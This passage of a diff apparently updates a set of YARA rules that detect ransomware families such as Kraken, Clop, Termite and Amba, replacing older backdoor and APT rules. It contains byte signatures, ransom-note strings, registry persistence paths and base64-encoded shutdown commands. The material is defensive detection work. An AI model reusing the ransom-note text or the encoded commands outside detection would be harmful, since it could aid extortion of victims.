"Ransom:W32/Kraken" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $bp = { 7F??4C4602??01??000000000000000001??3E????000000000000000000000000000000000000??????09??00000000000000004000000000??????2B??28??04??000014??000003??0000474E55????4D9585????AB6522????52AD3B??EC9B4BE8????????0000000000000000????00000000554889??????????4889??41544989??534889??488B??????????E8????????4C89??4889??48C7??????????FF??????????488B??????????89??E8????????89??5B415C5DC30F1F??E8????????554889??????????4889??41544989??534889??488B??????????E8????????4C89??4889??48C7??????????FF??????????488B??????????89??E8????????89??5B415C5DC30F1F??E8????????554889??415541544989??534889??4883????488B??????????65??8B????????????4889????31??E8????????4889??4C89??FF??????????488B??????????4189??E8????????488B??????????483D????????488D????75??EB??0F1F??????488B????4881??????????488D????74??0FB7??488D????48C7??????????31??E8????????498B????498B??????488D????488D????????????BA????????E8????????4885??74??4981??????????????488B????65??33????????????4489??75??4883????5B415C415D5DC3E8????????0F1F??E8????????554889??415541544989??534889??4883????488B??????????65??8B????????????4889????31??E8????????4889??4C89??FF??????????488B??????????4189??E8????????488B??????????483D????????488D????75??EB??0F1F??????488B????4881??????????488D????74??0FB7??488D????48C7??????????31??E8????????498B????498B??????488D????488D????????????BA????????E8????????4885??74??4981??????????????488B????65??33????????????4489??75??4883????5B415C415D5DC3E8????????0F1F??E8????????554889??415541544989??534889??4883????488B??????????65??8B????????????4889????31??E8????????4889??4C89??FF??????????488B??????????4189??E8????????488B??????????483D????????488D????75??EB??0F1F??????488B????4881??????????488D????74??0FB7??488D????48C7??????????31??E8????????498B????498B??????488D????488D????????????BA????????E8????????4885??74??4981??????????????488B????65??33????????????4489??75??4883????5B415C415D5DC3E8????????0F1F??E8????????554889??415541544989??534889??4883????488B??????????65??8B????????????4889????31??E8????????4889??4C89??FF??????????488B??????????4189??E8????????488B??????????483D????????488D????75??EB??0F1F??????488B????4881??????????488D????74??0FB7??488D????48C7??????????31??E8????????498B????498B??????488D????488D????????????BA????????E8????????4885??74??4981??????????????488B????65??33????????????4489??75??4883????5B415C415D5DC3E8????????0F1F??E8????????554889??41574589??415641554189??4154534889??4883????488B??????????4889????4889????4C89????483D????????4C8D????74??4C63??EB??0F1F??????498B????483D????????4C8D????74??498B??4C89??4889??E8????????85??75??4883????5B415C415D415E415F5DC30F1F??????????4589??4C8B????488B????4489??4889??488B????FF??????????4883????5B415C415D415E415F5DC3660F1F??????E8????????554889??41574589??41564D89??41554989??41544189??BA????????534889??488D????4883????4889????4889??65??8B????????????4889????31??E8????????488B??????????4881??????????488D????74??0FB7????4839??75??EB??0F1F????????????410FB7????4839??74??4C8B????4981??????????498D????75??4589??4D89??4C89??4489??4889??488B????FF??????????488B????65??33????????????75??4883????5B415C415D415E415F5DC3660F1F??????31??EB??E8????????0F1F??????662E0F1F????????????E8????????55BF????????4889??4881??????????65??8B????????????4889????31??488D??????????FF????????????B9????????4889??488D??????????F3??A5488D??????????48C7??????????BE????????B1??E8????????4885??74??48BA???????? } + $s1 = "No way to recovery your files without \"KRAKEN DECRYPTOR\" software and your computer \"UNIQUE KEY\"!" fullword ascii + $s2 = "Are you want to decrypt all of your encrypted files? If yes! You need to pay for decryption service to us!" fullword ascii + $s3 = "The speed, power and complexity of this encryption have been high and if you are now viewing this guide." fullword ascii + $s4 = "Project \"KRAKEN CRYPTOR\" doesn't damage any of your files, this action is reversible if you follow the instructions above." fullword ascii + $s5 = "https://localBitcoins.com" fullword ascii + $s6 = "For the decryption service, we also need your \"KRAKEN ENCRYPTED UNIQUE KEY\" you can see this in the top!" fullword ascii + $s7 = "-----BEGIN KRAKEN ENCRYPTED UNIQUE KEY----- " fullword ascii + $s8 = "All your files has been encrypted by \"KRAKEN CRYPTOR\"." fullword ascii + $s9 = "It means that \"KRAKEN CRYPTOR\" immediately removed form your system!" fullword ascii + $s10 = "After your payment made, all of your encrypted files has been decrypted." fullword ascii + $s11 = "Don't delete .XKHVE files! there are not virus and are your files, but encrypted!" fullword ascii + $s12 = "You can decrypt one of your encrypted smaller file for free in the first contact with us." fullword ascii + $s13 = "You must register on this site and click \"BUY Bitcoins\" then choose your country to find sellers and their prices." fullword ascii + $s14 = "-----END KRAKEN ENCRYPTED UNIQUE KEY-----" fullword ascii + $s15 = "DON'T MODIFY \"KRAKEN ENCRYPT UNIQUE KEY\"." fullword ascii + $s16 = "# Read the following instructions carefully to decrypt your files." fullword ascii + $s17 = "We use best and easy way to communications. It's email support, you can see our emails below." fullword ascii + $s18 = "DON'T USE THIRD PARTY, PUBLIC TOOLS/SOFTWARE TO DECRYPT YOUR FILES, THIS CAUSE DAMAGE YOUR FILES PERMANENTLY." fullword ascii + $s19 = "https://en.wikipedia.org/wiki/Bitcoin" fullword ascii + $s20 = "Please send your message with same subject to both address." fullword ascii condition: - uint16( 0 ) == 0x457f and filesize < 700KB and all of them + uint16( 0 ) == 0x4120 and filesize < 9KB and all of them } -rule TRELLIX_ARC_Mirai_Casper_Variant : BACKDOOR FILE +rule TRELLIX_ARC_Wannaren_Ransomware : RANSOMWARE FILE { meta: - description = "Rule to detect the Mirai Casper variant" - author = "Marc Rivero | McAfee ATR Team" - id = "0f3a028c-9514-51cd-ad82-415e8ac2dee7" - date = "2020-04-17" - modified = "2020-08-14" - reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_decade_of_RATs.yar#L163-L193" + description = "Rule to detect WannaRen Ransomware" + author = "McAfee ATR Team" + id = "f4f30d12-547d-5044-a4e5-b88bf359480f" + date = "2020-04-25" + modified = "2020-10-12" + reference = "https://blog.360totalsecurity.com/en/attention-you-may-have-become-a-susceptible-group-of-wannaren-ransomware/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_wannaren.yar#L1-L34" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "57cc422a6a90c571198a2d1c3db13c31fbdb48ba2f0f4356846d6d636d0f9300" - logic_hash = "5449d1ef0c4977c6151fc194ad5f526b6be414c1efb7fd4bacb77d4bcd89c703" + hash = "7b364f1c854e6891c8d09766bcc9a49420e0b5b4084d74aa331ae94e2cfb7e1d" + logic_hash = "0feb913b84eb0ecdda688f0cf0a5051798fe4fbce8a6ea959825985a81a6699c" score = 75 quality = 70 - tags = "BACKDOOR, FILE" + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "backdoor" - malware_family = "Backdoor:W32/Pwnlnx" + malware_type = "ransomware" + malware_family = "Ransom:W32/WannaRen" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $bp = { 7F??4C4601??01??000000000000000002??03??01??0000E0??04??34??000088??????????000034??20??05????????????????000000000000000080??????80??????15????????0C??05????????10??????0000??????0C??40A510??40A510??80??????904A0000060000000010????????0000D4??0000D4??04??D4??04??440000??????????????000004??0000070000??????0C??40A510??40A510??14??000030??000004??000004??000051E5??64????000000000000000000000000000000000000060000??????000004??000010??000001??0000474E5500000000????0000????0000????0000??????000014??000003??0000474E55??????3A??87????529723????2C??08??????AB35????????2A??0000BC????????0000????A510??2A??0000C4??????????0000C8??????2A??0000CCA510??2A??00005589??5383????E8????????5B81??????????8B??????????85??74??E8????????E8????????E8????????585BC9C3FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????000000000000000031??5E89??83????50545268????????68????????515668????????E8????????F490909090909090909090909090905589??538D??????80????????????75??BB????????A1????????81??????????C1????83????39??73??908D??????83????A3????????FF????????????A1????????39??72??B8????????85??74??C7????????????E8????????C6????????????8D??????5B5DC3908D??????55B8????????89??8D??????E8????????5A81??????????85??74??89??????C7??????????????C7??????????????C7????????????E8????????A1????????85??74??B8????????85??74??C7????????????FF??C9C39090905589??83????8B????88????A1????????85??74??A1????????0FB6????88??83????A3????????EB??C7??????????????8D????89??????C7????????????E8????????C9C35589??83????EB??8B????0FB6??0FBE??83??????89????E8????????8B????0FB6??84??75??C9C35589??83????8B????0FB6??88????83??????80??????0F84????????80??????74??0FBE????89????E8????????E9????????C7????????????8B????0FB6??88????83??????80??????75??C7????????????8B????0FB6??88????83??????EB??80??????75??C7????????????8B????0FB6??88????83??????C7????????????EB??8B????89??C1????01??01??89??0FBE????8D????83????89????8B????0FB6??88????83??????80??????7E??80??????7E??80??????74??80??????75??83??????8B????0FB6??88????83??????80??????0F84????????0FB6????88????80??????7E??0FB6????83????88????0FBE????83????83????0F87????????8B????????????FF??8B????8D????89????8B??89????C7????????????EB??83??????8B????8B????8D????0FB6??84??75??EB??C7????????????E8????????8B????83????85??75??8B????3B????0F92??83??????84??75??8B????89????E8????????EB??C7????????????E8????????8B????3B????0F92??83??????84??75??E9????????8B????8D????89????8B??0FBE??89????E8????????E9????????C7????????????EB??C7????????????EB??C7????????????EB??C7????????????EB??0FBE????89????E8????????E9????????8B????83????85??74??8B????8D????89????8B??EB??80??????75??8B????8D????89????8B??EB??8B????8D????89????8B??89????80??????75??8B????85??79??F7????83??????C7????????????8B????BA????????F7????89??88????8B????BA????????F7????89????80??????7E??80??????75??B8????????EB??B8????????0FB6????01??88????8B????0FB6????83????88??????83??????83??????74??83??????76??8B????83????85??74??8B????C6????????83??????8B????89????8B????83????84??74??B8????????EB??B8????????88????EB??0FBE????89????E8????????8B????83????85??75??8B????3B????0F92??83??????84??75??83??????8B????0FB6??????0FBE??89????E8????????83??????75??EB??C7????????????E8????????8B????3B????0F92??83??????84??75??E9????????E9????????90EB??90C9C35589??83????8D????89????8B????89??????8B????89????E8????????C9C35589??83????8B????8B????88????88????C9C35589??57565381??????????8B????8B????88??????????88??????????C7??????????????????C7??????????????????0FB6??????????C7??????????????C7??????????????8B????89??????89????E8????????89??????????0FB6??????????C7??????????????C7??????????????8B????89??????89????E8????????89??????????0FB6??????????C7??????????????C7??????????????8B????89??????89????E8????????89??????????0FB6??????????C7??????????????C7??????????????8B????89??????89????E8????????89??????????0FB6??????????C7??????????????C7??????????????8B????89??????89????E8????????89??????????0FB6??????????C7??????????????C7??????????????8B????89??????89????E8????????66????????????8D??????????BA????????89??????C7??????????????89????E8????????83????????????0F84????????83????????????0F84????????8B??????????89????E8????????3D????????0F8F????????8B??????????89????E8????????83????0F8F????????8B??????????89????E8????????83????0F8F????????C7??????????????????EB??8B??????????03??????????0FB6??3C??7E??8B??????????03??????????0FB6??3C??7F??8B??????????03??????????8B??????????03??????????0FB6??83????88??8B??????????83????89??????????8B??????????89????E8????????8B??????????39??7F??81??????????????????7E??C7??????????????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????8B??????????C7??????????????89????E8????????89??????????C7??????????????????E9????????8B??????????69??????????03??????????C6??????8B??????????69??????????03??????????C7??????????8B??????????69??????????89??03??????????0FB6??????????8B??????????89??C1????F7??89??89??89??01??01??C1????03????8B????89????8B??????????69??????????03??????????8D??????????8B??????????89??????89????E8????????8B??????????69??????????03??????????0FB6??????????3C??74??8B??????????69??????????03??????????05????????89????E8????????8B??????????69??????????03??????????8D??????????8B??????????69??????????03??????????81??????????83????89??????89??????89????E8????????8B??????????69??????????03??????????C6????????????8B??????????69??????????03??????????8D??????????8B??????????89??????89????E8????????8B??????????69??????????03??????????8D??????????8B??????????89??????89????E8????????8B??????????69??????????03??????????8D??????????8B??????????89??????89????E8????????0FB6??????????8B??????????89??C1????F7??89??89??89??01??01??C1????03????0FB6????3C??0F87????????8B??????????69??????????89??03??????????0FB6??????????8B??????????89??C1????F7??89??89??89??01??01??C1????03????8B????89????E8????????89??E8????????89??0FB6??????????8B??????????89??C1????F7??89??89??89??01??01??C1????03????0FB6????0FB6??89??89??D3??89??8D????89????E8????????89????E8????????89??BA????????89??F7??89??C1????89??C1????01??89??29??83????0F87????????8B????????????FF??C7????????????E8????????C7??????????????C7????????????E8????????8B??????????69??????????03??????????83????89??????89????E8????????C7????????????E8????????E9????????C7????????????E8????????C7??????????????C7????????????E8????????8B??????????69??????????03??????????83????89??????89????E8????????C7????????????E8????????E9????????C7????????????E8????????C7??????????????C7????????????E8????????8B??????????69??????????03??????????83????89??????89????E8????????C7???????????? } + $sq0 = { 92 93 a91c2ea521 59 334826 } + $sq1 = { d0ce 6641 c1e9c0 41 80f652 49 c1f94d } + $sq2 = { 80f8b5 4d 63c9 f9 4d 03d9 41 } + $sq3 = { 34b7 d2ea 660fbafa56 0f99c2 32d8 660fbafaed 99 } + $sq4 = { f9 f7c70012355f 35c01f5226 f9 8d8056c800b0 f6c4b2 f9 } + $sq5 = { f5 f9 44 3aeb 45 33cd 41 } + $sq6 = { 890f c0ff12 44 b4a3 ee 2b4e70 7361 } + $sq7 = { 81c502000000 6689542500 6681d97a1e 660fabe1 660fbae1a5 8b0f 8dbf04000000 } + $sq8 = { 8d13 de11 d7 677846 f1 0d8cd45f87 bb34b98f33 } + $sq9 = { 1440 4b 41 e8???????? 397c0847 } condition: - uint16( 0 ) == 0x457f and filesize < 3000KB and all of them + uint16( 0 ) == 0x5a4d and filesize < 21000KB and 7 of them } - -rule TRELLIX_ARC_APT_Stolen_Certificates : BACKDOOR FILE +rule TRELLIX_ARC_Termite_Ransomware : RANSOMWARE FILE { meta: - description = "Rule to detect samples digitally signed from these stolen certificates" - author = "Marc Rivero | McAfee ATR Team" - id = "57051977-780c-5c8e-bc66-0f1d8b3bbd93" - date = "2020-04-17" - modified = "2020-08-14" - reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_decade_of_RATs.yar#L196-L221" + description = "Rule to detect the Termite Ransomware" + author = "McAfee ATR Team" + id = "521ec8ee-a54c-57c3-9437-a2ef7f8ed4ca" + date = "2018-08-28" + modified = "2020-10-12" + reference = "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_termite.yar#L1-L32" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "ce3424524fd1f482a0339a3f92e440532cff97c104769837fa6ae52869013558" - logic_hash = "9b700e4889349d0203bdd4e00035ee9c9aba5025ccc57eef915b2c78996f8160" + hash = "021ca4692d3a721af510f294326a31780d6f8fcd9be2046d1c2a0902a7d58133" + logic_hash = "e5c01e8377957fa25cf6c2031c2680e802b0082a36f50b97b4e488c5bf40e968" score = 75 - quality = 70 - tags = "BACKDOOR, FILE" + quality = 20 + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "backdoor" - malware_family = "Backdoor:W32/Pwnlnx" + malware_type = "ransomware" + malware_family = "Ransom:W32/Termite" actor_type = "Cybercrime" actor_group = "Unknown" + strings: + $s1 = "C:\\Windows\\SysNative\\mswsock.dll" fullword ascii + $s2 = "C:\\Windows\\SysWOW64\\mswsock.dll" fullword ascii + $s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Termite.exe" fullword ascii + $s4 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Payment.exe" fullword ascii + $s5 = "C:\\Windows\\Termite.exe" fullword ascii + $s6 = "\\Shell\\Open\\Command\\" fullword ascii + $s7 = "t314.520@qq.com" fullword ascii + $s8 = "(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG" fullword ascii + condition: - uint16( 0 ) == 0x5a4d and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "/C=KR/ST=Seoul/L=Gangnam-gu/O=LivePlex Corp/CN=LivePlex Corp" and pe.signatures [ i ] . serial == "3f:55:42:e2:e7:1d:8d:b3:57:04:1c:9d:d4:5b:95:0a" or pe.signatures [ i ] . subject contains "/C=KR/ST=Seoul/L=Gangnam-gu/O=LivePlex Corp/CN=LivePlex Corp" and pe.signatures [ i ] . serial == "3f:55:42:e2:e7:1d:8d:b3:57:04:1c:9d:d4:5b:95:0a" or pe.signatures [ i ] . subject contains "/C=KR/ST=Seoul/L=Gangnam-gu/O=LivePlex Corp/CN=LivePlex Corp" or pe.signatures [ i ] . serial == "3f:55:42:e2:e7:1d:8d:b3:57:04:1c:9d:d4:5b:95:0a" ) + ( uint16( 0 ) == 0x5a4d and filesize < 6000KB ) and all of them } -rule TRELLIX_ARC_Apt_Aurora_Pdb_Samples : BACKDOOR FILE +rule TRELLIX_ARC_Clop_Ransom_Note : RANSOMWARE FILE { meta: - description = "Aurora APT Malware 2006-2010" + description = "Rule to detect Clop Ransomware Note" author = "Marc Rivero | McAfee ATR Team" - id = "51b080b7-671b-592b-ba52-7fdd0ddf0294" - date = "2010-01-11" + id = "b18e4d4d-aa38-5009-a31b-ed038c5bd4f9" + date = "2019-08-01" modified = "2020-08-14" - reference = "https://en.wikipedia.org/wiki/Operation_Aurora" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_operation_aurora.yar#L1-L26" + reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clop-ransomware/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_ClopRansomNote.yar#L1-L34" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "ce7debbcf1ca3a390083fe5753f231e632017ca041dfa662ad56095a500f2364" - logic_hash = "5791ae7b96f2b59d0cca1ab97455bb4745edad8980ac4aff22aa36e0bc4f240e" + logic_hash = "a90862e9dc59b1a8f38b777b4f529d5de740d0f49175813cae64f10ca9677826" score = 75 quality = 70 - tags = "BACKDOOR, FILE" + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "backdoor" - malware_family = "Backdoor:W32/Aurora" + malware_type = "ransomware" + malware_family = "Ransom:W32/Clop" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $pdb = "\\AuroraVNC\\VedioDriver\\Release\\VedioDriver.pdb" - $pdb1 = "\\Aurora_Src\\AuroraVNC\\Avc\\Release\\AVC.pdb" + $s1 = "If you want to restore your files write to emails" fullword ascii + $s2 = "All files on each host in the network have been encrypted with a strong algorithm." fullword ascii + $s3 = "Shadow copies also removed, so F8 or any other methods may damage encrypted data but not recover." fullword ascii + $s4 = "You will receive decrypted samples and our conditions how to get the decoder." fullword ascii + $s5 = "DO NOT RENAME OR MOVE the encrypted and readme files." fullword ascii + $s6 = "(Less than 6 Mb each, non-archived and your files should not contain valuable information" fullword ascii + $s7 = "We exclusively have decryption software for your situation" fullword ascii + $s8 = "Do not rename encrypted files." fullword ascii + $s9 = "DO NOT DELETE readme files." fullword ascii + $s10 = "Nothing personal just business" fullword ascii + $s11 = "eqaltech.su" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize < 150KB and any of them + ( uint16( 0 ) == 0x6f59 ) and filesize < 10KB and all of them } - -rule TRELLIX_ARC_Milum_Trojan : TROJAN FILE +rule TRELLIX_ARC_Amba_Ransomware : RANSOMWARE FILE { meta: - description = "Rule to detect Milum trojan from the Wildpressure operation" + description = "Rule to detect Amba Ransomware" author = "Marc Rivero | McAfee ATR Team" - id = "acc56237-a93a-55c0-a90c-11ca1da683db" - date = "2020-04-24" + id = "961f2892-e462-55e4-bd96-7dff895cb1e6" + date = "2017-07-03" modified = "2020-08-14" - reference = "https://securelist.com/wildpressure-targets-industrial-in-the-middle-east/96360/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_milum_wildpressure.yar#L3-L28" + reference = "https://www.enigmasoftware.com/ambaransomware-removal/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_amba.yar#L1-L41" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "86456ebf6b807e8253faf1262e7a2b673131c80174f6133b253b2e5f0da442a9" - logic_hash = "3ab1ff129517cb4a829edac289c00d7701d6f667ba2ef5a28024fd01a3a52e8e" + hash = "b9b6045a45dd22fcaf2fc13d39eba46180d489cb4eb152c87568c2404aecac2f" + logic_hash = "0830ab49956711d3e6ad64785edcf54146a24756c4ab66384305dc18091867bd" score = 75 - quality = 70 - tags = "TROJAN, FILE" + quality = 68 + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "trojan" - malware_family = "Trojan:W32/Milum" - actor_type = "Apt" + malware_type = "ransomware" + malware_family = "Ransom:W32/Amba" + actor_type = "Cybercrime" actor_group = "Unknown" strings: - $pattern = { 558B??6A??68????????64??????????5081??????????A1????????33??89????535657508D????64??????????8B????89??????????C7????????????8D????C7??????????33??6A??89??????????89????E8????????83????3B??0F84????????89????89??8B????89????8B????89????8B????C6??????8B????C6??????C6??????8B??????????BE????????89????89????88????C6??????6A??68????????8D??????????89??????????89??????????88??????????E8????????C6??????6A??538D????528D??????????89??????????89??????????88??????????E8????????C6??????8D??????????508B??E8????????508D??????????5157E8????????C6??????83????????????72??8B??????????52E8????????83????89??????????89??????????88??????????C6??????83????????????72??8B??????????50E8????????83????6A??68????????8D????89??????????89??????????88??????????89????89????88????E8????????C6??????6A??538D????518D????89????89????88????E8????????C6??????8D????528B??E8????????508D??????????5057E8????????C6??????83??????72??8B????51E8????????83????89????89????88????C6??????83??????72??8B????52E8????????83????6A??68????????8D????89????89????88????89????89????88????E8????????C6??????6A??538D????508D????89????89????88????E8????????C6??????83????8B??89??????????6A??89????89????68????????88??E8????????C6??????83????8B??89??????????6A??538D????89????89????5288??E8????????C6??????8D??????????50C6??????E8????????83????C6??????8B??????????2B??????????B8????????F7??03??C1????8B??C1????03??83????75??8B??????????6A??53528D????E8????????8B??????????6A??83????53508D????E8????????6A??538D????508D????89????89????88????E8????????C6??????6A??538D????518D????89????89????88????E8????????C6??????8D????528B??E8????????508D??????????5057E8????????C6??????BF????????39????72??8B????51E8????????83????89????89????88????C6??????39????72??8B????52E8????????83????89????89????88????C6??????8B??????????3B??74??8B??????????E8????????8B??????????50E8????????83????BF????????89??????????89??????????89??????????C6??????39????72??8B????51E8????????83????89????89????88????C6??????39????72??8B????52E8????????83????89????89????88????C6??????39????72??8B????50E8????????83????89????89????88????88????39????72??8B????51E8????????83????89????89????88????C7????????????39????72??8B????52E8????????83????8B??????????89????89????88????8B????64????????????595F5E5B8B????33??E8????????8B??5DC2????8D??????????508D??????????89??????????E8????????C6??????C7??????????????????C6??????68????????8D??????????51E8????????CCCC558B??6A??68????????64??????????5051535657A1????????33??508D????64??????????8B????C7??????????C7????????????8D????33??83??????89????72??8B??EB??8B??8D????88??8B????8B????518B??E8????????8B????89????8B????89??8B????89????89????88????83??????72??8B??50E8????????83????89????C7????????????88??83????89????89????C7????????????8B????8B??50518D????E8????????89????8B????52E8????????83????8B????64????????????595F5E5B8B??5DC2????CCCCCCCCCCCCCCCCCCCCCCCCCC558B??6A??68????????64??????????505156A1????????33??508D????64??????????83????C7????????????8B????5156E8????????C7????????????C7????????????8B??8B????64????????????595E8B??5DC2????CCCCCCCCCCCC558B??6A??68????????64??????????5081??????????A1????????33??89????535657508D????64??????????8B????33??8B??89??????????8B????8B??89??????????89??????????89??????????3B??0F84????????8D????39??????????0F85????????68????????8D????5750E8????????C7????????????83????8D????57518B??E8????????83????C6??????8B??????????6A??535083????E8????????C6??????BF????????39????72??8B????52E8????????83????C7????????????89????88????88????39????72??8B????50E8????????83????C7????????????89????88????E9????????578D????68????????51E8????????C7????????????508D??????????52BA????????E8????????C6??????83????8D????57518B??E8????????83????C6??????8B??????????6A??535083????E8????????C6??????BF????????39????72??8B????52E8????????83????C7????????????89????88????C6??????39??????????72??8B??????????50E8????????83????C7??????????????????89??????????88??????????88????39????72??8B????51E8????????83????C7????????????89????88????FF??????????38????75??8B????38????75??8B??8B??38????75??8D????8B??8B??38????74??EB??8B????38????75??3B????75??8B??8B????38????74??8B??8B??????????3B????0F85????????8B??????????8B??6A??5383????C7????????????89????508B??88??E8????????89????C7??????????????????8B??8B????64????????????595F5E5B8B????33??E8????????8B??5DC2????CCCCCCCCCCCCCCCCCCCCCCCCCCCC558B??6A??68????????64??????????50515356A1????????33??508D????64??????????8B??89????C7??????????33??89????83??????72??8B????50E8????????83????C7????????????89????88????C7????????????83??????72??8B????50E8????????83????C7????????????89????88????8B????64????????????595E5B8B??5DC3CCCCCCCCCC558B??6A??68????????64??????????5083????A1????????33??89????5356508D????64??????????33??89????538B??68????????8D????89????C7????????????89????88????E8????????C7????????????6A??8D????38????74??68????????EB??68????????E8????????8D????5083????8D????5651E8????????C6??????8D????52578B??E8????????83????C7????????????C6??????BE????????39????72??8B????50E8????????83????C7????????????89????88????88????39????72??8B????51E8????????83????C7????????????89????88????8B??8B????64????????????595E5B8B????33??E8????????8B??5DC3CCCCCCCCCCCCCCCCCCCCCCCCCCCCCC558B??6A??68????????64??????????50515356A1????????33??508D????64??????????8B??89????C7??????????33??89????83??????72??8B????50E8????????83????C7????????????89????88????C7????????????83??????72??8B????50E8????????83????F6??????C7????????????89????88????74??56E8????????83????8B??8B????64????????????595E5B8B??5DC2????CCCC558B??6A??68????????64??????????50A1????????33??508D????64??????????C7????????????6A??6A??8D????5083????E8????????C7????????????83??????72??8B????51E8????????83????C7????????????C7????????????C6??????8B????64????????????598B??5DC2????CCCCCCCCCCCCCCCCCCCCCC558B??6A??68????????64??????????5083????A1????????33??89????535657508D????64??????????33??89????8B????89????89????B8????????89????C7????????????89????88??89????8D????BF????????39????72??8B??8B????39????73??8D????8B????518D????518B??E8????????C6??????508B??E8????????C6??????39????72??8B????52E8????????83????C7????????????89????88????88????39????72??8B????50E8????????83????C7????????????89????88????8B??8B????64????????????595F5E5B8B????33??E8????????8B??5DC2????CCCCCCCCCCCCCCCC558B??6A??68????????64??????????5081??????????A1????????33??89????535657508D????64??????????8B??33??89????8B????89??????????89?????????? } + $s1 = "64DCRYPT.SYS" fullword wide + $s2 = "32DCRYPT.SYS" fullword wide + $s3 = "64DCINST.EXE" fullword wide + $s4 = "32DCINST.EXE" fullword wide + $s5 = "32DCCON.EXE" fullword wide + $s6 = "64DCCON.EXE" fullword wide + $s8 = "32DCAPI.DLL" fullword wide + $s9 = "64DCAPI.DLL" fullword wide + $s10 = "ICYgc2h1dGRvd24gL2YgL3IgL3QgMA==" fullword ascii + $s11 = "QzpcVXNlcnNcQUJDRFxuZXRwYXNzLnR4dA==" fullword ascii + $s12 = ")!pssx}v!pssx}v))!pssx}v!pssx}v))!pssx}v!pssx}v))!pssx}v!pssx}v))!pssx}v!pssx}v))!pssx}v!pssx}v))!pssx}v!pssx}v)" fullword ascii + $s13 = "RGVmcmFnbWVudFNlcnZpY2U=" + $s14 = "LWVuY3J5cHQgcHQ5IC1wIA==" + $s15 = "LWVuY3J5cHQgcHQ3IC1wIA==" + $s16 = "LWVuY3J5cHQgcHQ2IC1wIA==" + $s17 = "LWVuY3J5cHQgcHQzIC1wIA==" condition: - uint16( 0 ) == 0x5a4d and filesize < 2000KB and pe.imphash ( ) == "548d9f5f1e74f34b85612667335d41f2" and all of them + ( uint16( 0 ) == 0x5a4d and filesize < 3000KB and ( 8 of them ) ) or ( all of them ) } -rule TRELLIX_ARC_Apt_Manitsme_Trojan : TROJAN FILE +rule TRELLIX_ARC_RANSOM_Mountlocker : RANSOMWARE FILE { meta: - description = "Rule to detect the Manitsme trojan" - author = "Marc Rivero | McAfee ATR Team" - id = "49e0c934-6920-5e49-837c-27ebbbd5a1a2" - date = "2013-03-08" - modified = "2020-08-14" - reference = "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_manitsme_trojan_pdb.yar#L1-L36" + description = "Rule to detect Mount Locker ransomware" + author = "McAfee ATR Team" + id = "8451b78c-3cef-557a-a2e3-0767a0b0eddb" + date = "2020-09-25" + modified = "2020-10-12" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_mountlocker.yar#L1-L32" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "c1c0ea096ec4d36c1312171de2a9ebe258c588528a20dbb06a7e3cf97bf1e197" - logic_hash = "584053145249a930d3eae5e291d3553c57fa427dbecac9f04e7c0169f153b7af" + logic_hash = "fb332a6725b9276cca379dd3621943c69f88570fb317da27a857a2544d2aa4e0" score = 75 - quality = 70 - tags = "TROJAN, FILE" + quality = 64 + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "trojan" - malware_family = "Trojan:W32/Manitsme" - actor_type = "Apt" + malware_type = "ransomware" + malware_family = "Ransomware:W32/MountLocker" + actor_type = "Cybercrime" actor_group = "Unknown" + hash1 = 